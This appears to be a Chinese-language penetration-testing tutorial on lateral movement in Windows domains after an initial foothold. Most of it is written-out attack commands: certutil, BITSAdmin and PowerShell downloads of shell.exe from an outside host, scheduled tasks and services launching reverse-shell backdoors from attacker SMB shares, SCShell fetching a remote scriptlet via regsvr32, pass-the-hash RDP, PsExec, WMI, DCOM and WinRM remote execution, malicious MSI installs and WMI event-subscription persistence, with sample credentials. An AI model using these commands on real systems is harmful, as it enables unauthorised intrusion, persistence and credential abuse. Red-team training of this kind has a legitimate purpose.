在获得域内一台主机权限或账号权限之后,需要以此作为跳板,对域内主机进行进一步攻击,获取域内更多主机和账户的权限。
通过Windows自带工具下载文件
Certutil
Certutil 是Windows自带的命令行工具,用于管理Windows证书并作为证书服务器的一部分安装。Certutil提供了从网络下载文件的功能。
1 | certutil -urlcache -split -f http://192.168.1.1:8000/shell.exe c:\users\public\shell.exe |
BITSAdmin
BITSAdmin用于创建、下载和上传作业,监视其进度。Windows7及以后的系统自带BitsAdmin工具。
1 | bitsadmin /transfer test http://192.168.1.1:8000/shell.exe c:\users\public\shell.exe |
powershell
通过创建WebClient对象来实现文件下载
1 | (New-Object Net.WebClient).DownloadFile("http://192.168.1.1:8000/shell.exe", "c:\users\public\shell.exe") |
IPC连接和文件共享
IPC是英文Internet Process Connection的缩写,可以理解为“命名管道”资源,它是Windows操作系统提供的一个通信基础,用来在两台计算机进程之间建立通信连接,而IPC后面的$
是Windows系统所使用的隐藏符号,因此IPC$
表示IPC共享,但是是隐藏的共享。
通过IPC$
,一些网络程序的数据交换可以建立在IPC上面,实现远程访问和管理计算机。默认情况下IPC是共享的,除非手动删除IPC$
。为了配合IPC共享工作,Windows操作系统在安装完成后,自动设置共享的目录为:C盘、D盘、…、ADMIN目录(C:\Windows\
)等,即为ADMIN$
、C$
、D$
等等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。
实战中往往会建立IPC$
连接,因为通过IPC$
连接,不仅可以进行所有文件共享操作,还可以实现其他远程管理操作,如列出远程主机进程、在远程主机上创建计划任务或服务等。
建立IPC$
连接需要具备以下两个条件:
1、远程主机开启了IPC连接
2、远程主机的139端口和445端口开放
IPC$
使用
1 | net use # 查看本机建立的连接(本机连接其他机器) |
连接之后,就可以使用文件命令进行操作
1 | dir \\10.10.10.19\C$ |
计划任务横向
可以通过已建立的IPC连接,在远程主机上创建计划任务,让目标主机在规定的时间或周期内执行特定操作。远程创建计划任务是通过DCE/RPC
协议进行。
操作步骤:
1、利用已建立的IPC连接上传后门程序
2、利用已建立的IPC连接或指定用户凭据的方式在远程主机上创建计划任务
1 | schtasks /Create /S 172.77.4.100 /TN Backdoor /SC minute /MO 1 /TR C:\users\pubilc\reverse_tcp.exe /RN System /F |
如果没有建立IPC连接,则需要指定远程主机的用户凭据
1 | schtasks /Create /S 172.77.4.100 /TN Backdoor /SC minute /MO 1 /TR "c:\windows\system32\cmd.exe /c 'whoami' > c:\users\public\result.txt" /RN System /F /U Administrator /P Admin@2016 |
3、创建完成后,可以等待计划任务自行执行,也可以立即启动计划任务
1 | schtasks /RUN /S 172.77.4.100 /I /TN Backdoor |
4、查看计划任务
1 | schtasks /query /S 172.77.4.100 /TN Backdoor |
5、删除计划任务
1 | schtasks /Delete /S 172.77.4.100 /TN Backdoor /F |
也可以通过计划任务执行系统命令,将执行结果写入文件,然后使用type命令查看文件
1 | schtasks /Create /S 172.77.4.100 /TN Backdoor /SC minute /MO 1 /TR "c:\windows\system32\cmd.exe /c 'whoami' > c:\users\public\result.txt" /RN System /F |
可以直接使用UNC路径代替常规的本地路径,让目标主机直接在测试人员搭建的Smb共享中加载攻击载荷并执行。这样可以省去手动上传载荷的步骤。
例如:
1 | schtasks /Create /S 172.77.4.100 /TN Backdoor /SC minute /MO 1 /TR \\192.168.100.100\mysmb\reverse_tcp.exe /RN System /F |
系统服务横向
创建远程服务
创建远程服务需要拥有两端主机的管理员权限和IPC连接,具体操作:
1、利用已建立的共享连接向远程主机上传攻击载荷
2、利用已建立的IPC连接在远程主机上创建系统服务
1 | sc \\172.77.4.100 create Backdoor binpath= "cmd.exe /k c:\users\public\reverse_tcp.exe" |
4、删除服务
1 | sc \\192.168.30.132 delete Backdoor |
SCShell
SCShell是一款无文件横向移动的工具,主要依赖于ChangeServiceConfigA
函数,用于修改 Windows 服务的配置,讲服务的二进制路径名修改为指定的程序或攻击载荷,然后重启服务。执行结束后,服务二进制文件路径讲恢复为原始路径。
该工具的优点在于它不会通过 SMB 协议去执行身份验证,该工具是通过 DCE/RPC
协议进行的。
SCShell需要提供远程主机的管理员权限用户的凭据,并且需要已知远程主机上的系统服务名称。
1 | SCShell.exe 172.77.4.100 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i:http://172.77.4.129/payload.sct scrobj.dll" dar.com administrastor Admin2016 |
也有python版本的scshell,用到了impacket项目
1 | python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce |
远程桌面
远程桌面协议(Remote Desktop Protocol,RDP)
查询注册表确定是否主机开启了远程桌面
1 | reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections |
开启远程桌面
1 | 开启远程桌面 |
对于远程主机,可以通过WMI来开启远程桌面功能
1 | wmic /Node:192.168.30.135 /User:Administrator /Password:Admin2012 RDTOGGLE WHRER ServerName='win2016' call SetAllowTSConnections 1 |
RDP Hijack
Windows系统下,tscon
可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。
可以通过query user
来列出所有登录的用户列表,得到id
在SYSTEM权限下,使用tscon <ID>
来切换用户不需要验证密码。
sharp RDP
https://github.com/0xthirteen/SharpRDP
sharp rdp可以通过远程桌面协议在远程主机上执行系统命令,且不需要GUI客户端。
工具需要远程主机开启远程桌面功能,且防火墙放行3389端口
利用Hash登录rdp远程桌面
抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要开启Restricted Admin Mode
,在Windows8.1和Windows Server 2012R2上默认开启。
Restricted Admin mode
,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中。
适用系统:
Windows 8.1和Windows Server 2012 R2默认支持该功能;
Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
可以通过修改注册表开启:注册表位置:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
新建DWORD
键值DisableRestrictedAdmin
,值为0代表开启,值为1代表关闭
1 | REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f |
查看是否已开启 DisableRestrictedAdmin
,REG_DWORD 0x0
存在就是开启
1 | REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" |
可以使用impacket项目中的reg.py进行修改注册表
1 | 添加注册表项 |
之后使用xfreerdp来连接rdp
1 | xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:ip /cert-ignore |
或者使用mimikatz来pth
1 | privilege::debug |
RDP客户端
Linux:rdesktop、xfreerdp
SMB协议的利用
PSExec
psExec是微软官方提供的一个Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性。
PsExec的原理是通过SMB连接到服务端的Admin$
共享,并释放名为”psexecsvc.exe”的二进制文件,然后注册名为”PSEXECSVC”服务。当客户端执行命令时,服务端通过PSEXECSVC服务启动相应的程序执行命令并回显数据。运行结束后,PSEXECSVC服务会被删除。
使用PSEXEC进行远程操作需要以下条件:
1、远程主机开启了Admin$
共享
2、远程机器的 139 或 445 端口需要开启状态,即 SMB,且防火墙放行端口。
3、具备将文件写入共享文件夹的权限;
4、明文密码或者 NTLM 哈希;
5、能够在远程机器上创建服务:SC_MANAGER_CREATE_SERVICE
6、能够启动所创建的服务:SERVICE_QUERY_STATUS && SERVICE_START
用法:
1 | psexec.exe -accepteula \\192.168.30.135 -u hackme\Administrator -p Admin2012 -s cmd.exe |
如果已经建立IPC连接,那么可以直接使用psexec连接远程主机
1 | psexec.exe -accepteula \\192.168.30.135 -s cmd.exe |
psexec执行流程:
1、将PSEXESVC.exe
上传到admin$共享文件夹内;
2、远程创建用于运行PSEXESVC.exe
的服务;
3、远程启动服务。PSEXESVC
服务充当一个重定向器(包装器)。它在远程系统上运行指定的可执行文件(示例中的cmd.exe),同时,它通过主机之间来重定向进程的输入/输出(利用命名管道)。
impacket项目中也实现了psexec:
1 | python psexec.py domain/user:password@ip |
SMBExec
SMBExec 与 PSExec 非常相似,但是,SMBExec 不会将二进制文件放入磁盘。SMBExec 利用一个批处理文件和一个临时文件来执行和转发消息。
与 PSExec 一样,SMBExec 通过 SMB 协议 (445/TCP) 发送输入并接收输出。
利用条件
1、远程机器的 139 或 445 端口需要开启状态,即 SMB;
2、开启IPC$
和C$
,具备将文件写入共享文件夹的权限;
3、能够在远程机器上创建服务
4、能够启动所创建的服务
impacket项目中实现了smbexec:
1 | python smbexec.py domain/user:password@ip |
smbexec本质依然是先建立IPC$
共享,然后通过svcctl
协议在目标主机创建和启动服务,不过特殊的一点在于它会将用户需要执行的命令存放在服务中的ImagePath
属性中,正是基于这一点,每执行一次命令就需要创建一次服务,每次执行命令也会生成7045和7009两条与服务相关的系统日志记录。
执行命令的过程:
1、首先会将命令存放进入%SystemRoot%\xxxx.bat
文件
2、运行bat文件并将执行的结果储存至C$
共享的__output
文件中
3、删除bat文件
4、客户端通过读取目标C$
共享的__output
临时文件获取执行结果
wmi的利用
WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的Windows管理技术。用户可以通过WMI管理本地和远程主机。
Windows为传输WMI数据提供了两个可用的协议:分布式组件对象模型(Distributed Component Object Model, DCOM)和Windows远程管理(Window Remote Management,WinRM)使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等操作都能远程运行。
利用WMI进行横向移动需要具备以下条件:
1、远程主机的WMI服务为开启状态(默认开启)
2、远程主机防火墙放行135端口,这是WMI管理的默认端口
在横向移动时,可以利用WMI提供的管理功能,通过以获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。
目前两种常见的利用方法:
1、 通过调用WMI的类方法进行远程调用,如Win32_Process
类中的Create
方法可以在远程主机上创建进程,Win32_Product
类的Install
方法可以在远程主机上安装恶意的MSI
2、 远程部署WMI事件订阅,在特定事件发生时触发
常规利用方法
在windows上可以通过wmic.exe
和powershell提供的cmdlet来使用WMI数据和执行WMI方法。
wmic.exe是一个与WMI进行交互的命令行工具,拥有大量的WMI对象的默认别名,可以执行许多复杂的查询。
powershell也提供了许多可以与WMI进行交互的cmelet,如Invoke-WmiMethod
、Set-WmiInstance
等
执行远程查询
通过WMI查询远程主机上运行的进程信息
1 | wmic /node:172.77.4.100 /user:Administrator /password:Admin2016 process list brief |
创建远程进程
通过调用Win32_Process.Create
方法在远程主机上创建进程,启动CMD来执行命令
由于WMIC在执行命令时没有回显,因此可以将执行结果写入文件,然后通过别的方式读取文件
1 | wmic /node:172.77.4.100 /user:Administrator /password:Admin2016 process call create "cmd.exe /c ipconfig > C:\result.txt" |
远程安装MSI文件
通过调用Win32_Product.Install
方法,可以控制远程主机安装恶意MSI文件,从而获得权限
1 | wmic /node:172.77.4.100 /user:Administrator /password:Admin2016 product call install PackageLocation="\\192.168.30.100\mysmb\reverse_tcp.msi" |
常见利用工具
WMIExec
Impacket项目的wmiexec.py能够以全交互或半交互的方式,通过WMI在远程主机上执行命令。
该工具需要远程主机开启135和445端口,其中445端口用于传输命令执行的回显。
1 | python wmiexec.py dar.com/Administrator:Admin2016@172.77.4.100 |
wmiexec允许通过TCP 135端口与远程过程调用(RPC)建立初始通信来远程访问机器。初始通信建立后,它会使用一个大于1024的随机端口进行协商,该连接用于向远程机器发送输入。并且,输入的内容将在cmd.exe进程中执行,输出的内容将保存在远程机器上ADMIN$
共享的临时文件中。临时文件的文件名以__
开头,加上当前日期和时间转换而成的时间戳(例如__1685167921.750285
)
WMIHacker
https://github.com/rootclay/WMIHACKER
WMIHacker是一款用于远程主机连接工具,通过135端口进行命令执行,执行结果读取以及无需445端口进行文件传输。
执行模式包括/cmd
、/shell
、/upload
、/download
,分别指执行命令、模拟shell、上传文件、下载文件
1 | Usage: |
有命令回显执行方式
1 | cscript /nologo wmihacker.vbs /cmd 172.77.4.100 dar.com\administrator "Admin2016" "ipconfig" 1 |
WMI事件订阅的利用
WMI提供了强大的事件处理系统,几乎可以用于操作系统上发生的任何事件做出相应。
其中触发事件的具体条件被称为“事件过滤器”(Event Filter),如用户登录、新进程创建等;
对指定事件发生做出相应的称为“事件消费者”(Event Consumer),包括一系列具体的操作,如运行脚本、记录日志、发送邮件等。
在部署事件订阅时,需要分别构建Filter和Consumer两部分,并将两者绑定在一起。
所有的事件过滤器都被存储在一个Root\subscription:__EventFiilter
对象的实例,可以通过创建__EventFilter
对象实例来部署事件过滤器。事件消费者是基于ROOT\subscription:__EventConsumer
系统类派生来的类。
系统提供了常用的标准事件消费类
1 | LogFileEventConsumer # 将事件数据写入指定的日志文件 |
手动利用:
1、整合PSCredential
,用于后续过程的认证
1 | $Username = "dar.com/Administrator" |
2、设置攻击目标和其他公共参数
1 | $GlobalArgs = @{ |
3、在远程主机上部署TestFilter
事件过滤器,用于查询svchost.exe进程的产生。由于WMI所有事件过滤器都存储于Root\subscription:__EventFilter
对象的实例,因此通过Set-WmiInstance
Cmdlet创建一个__EventFilter
类的实例即可
1 | $EventFilterArgs = @{ |
4、在远程主机上部署一个名为TestConsumer
的事件消费者,创建事件消费类CommandLineEventConsumer
的实例,在指定事件发生时执行系统命令
1 | $CommandLinEventConsumerArgs = @{ |
5、将创建的事件过滤器和事件消费者绑定在一起
1 | $FilterConsumerBindingArgs = @{ |
Sharp-WMIEvent
https://github.com/wh0Nsq/Sharp-WMIEvent
在远程主机上部署一个随即命名的永久事件订阅,并每隔60s执行以此SMB共享中的攻击载荷
1 | Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 172.77.4.400 -Domain dar.com -Username Administrator -Password Admin2016 -Command "cmd.exe /c 'ipconfig > c:\a.txt'" |
DCOM的利用
COM(Component Object Model,组件对象模型)是微软的一套软件组成的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。
COM指定了一个对象模型和编程要求,使COM对象能够与其他对象交互。这些对象可以在单个进程中,也可以在其它进程中,甚至可以在远程计算机中。在Windows中,每个COM对象都由唯一的128位的二进制标识符标识,即GUID。
DCOM(Distracted Component Model,分布式组件对象模型)是基于COM的一系列概念和程序接口,支持不同机器上的组件间通信。利用DCOM,客户端程序对象可以请求来自网络中另一台计算机上的服务器程序对象。
部分DCOM组件公开的接口中可能包含不安全的方法。执行以下命令,可以列出计算机上所有的DCOM程序组件
1 | Get-CimInstance Win32_DCOMApplication |
目前常利用的DCOM组件有:MMC20.Application
、ShellWindows
、Excel.Application
、ShellBrowserWindow
等。
使用DCOM在远程主机上面执行命令,需要具有以下条件:
1、具有管理员权限的PowerShell
2、可能需要关闭目标系统的防火墙。
3、在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
MMC20.Application
MMC20.Application
对象的Document.ActiveView
下存在一个ExecuteShellCommand方法,可以用来启动子进程并运行执行的程序或系统命令。
1 | 通过progID与DCOM进行远程交互,并创建MMC20.Application对象的示例 |
ShellWindows
ShellWindows
组件提供了Document.Application.ShellExecute
方法,适用于Windows7及以上的系统。
1 | 通过PowerShell与DCOM进行远程交互,创建ShellWindows对象的实例: |
Excel.Application
1 | 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例: |
ShellBrowserWindow
使用条件:适用于Windows 10和Windows Server 2012 R2等版本的系统。
1 | 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例: |
Impacket里的dcomexec.py脚本
Impacket 里面提供的 dcomexec.py 脚本可以提供一个类似于 wmiexec.py 脚本的半交互式shell,但使用的是DCOM,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow
对象。
命令格式如下:
1 | ./dcomexec.py domain/username:password@ip |
WinRM的利用
WinRM是通过执行WS-Management
协议(用于远程软件和硬件管理的Web服务协议)来实现远程管理的,允许处于一个共同网络内的Windows计算机彼此之间互相访问和交换信息,对应的端口是5985。
在一台计算机启用WinRM服务后,防火墙会自动放行其相关通信端口,在另一台计算机便能通过WinRM对其进行远程管理了。
只有在Windows Server 2008以上版本的服务器中,WinRm服务才会自动启动。
在利用WinRM进行横向移动时,需要拥有远程主机的管理员凭据信息。
通过WinRM执行远程命令
Windows远程管理提供了两个工具:
① Winrs,允许远程执行命令的命令行工具,利用了WS-Manage协议
② Winrm(Winrm.cmd),内置系统管理命令行工具,允许管理员配置本机的WinRM服务。
在默认情况下,无法通过WinRM连接到目标系统。可能出现错误:Winrs error:WinRM客户端无法处理该请求。可以将默认身份验证与IP地址结合使用:
① 传输为HTTPS或目标位于TrustedHosts列表中,并且提供显式凭据
② 使用Winrm.cmd配置TrustedHosts。
执行以下命令,将目标地址添加到TrustedHosts中:
1 | winrm set winrm/config/client @{TrustedHosts="172.77.4.100"} |
Winrs
winrs是Windows上远程管理提供的客户端程序,允许通过提供的用户凭据,在运行WinRM的服务器上执行命令。要求通信双方都安装了WinRM服务。
1 | 执行系统命令 |
Winrm.cmd
winrm.cmd允许WMI对象通过WinRm传输进行远程交互,在本地或远程计算机上枚举WMI对象实例或调用WMI类方法。比如可以通过调用Win32_Process类的Create方法来创建远程实例。
1 | winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline="notepad.exe"} -r:http://192.168.30.100:5985 -u:Administrator -p:Admin2012 |
Evil-Winrm
Evil-Winrm是基于WinRM Shell的渗透框架,可通过提供的用户名和密码或用户哈希在启动了WinRm服务的目标主机上完成简单的攻击任务。
https://github.com/Hackplayers/evil-winrm
1 | evil-winrm -i 172.77.4.100 -u Administrator -p Admin2016 |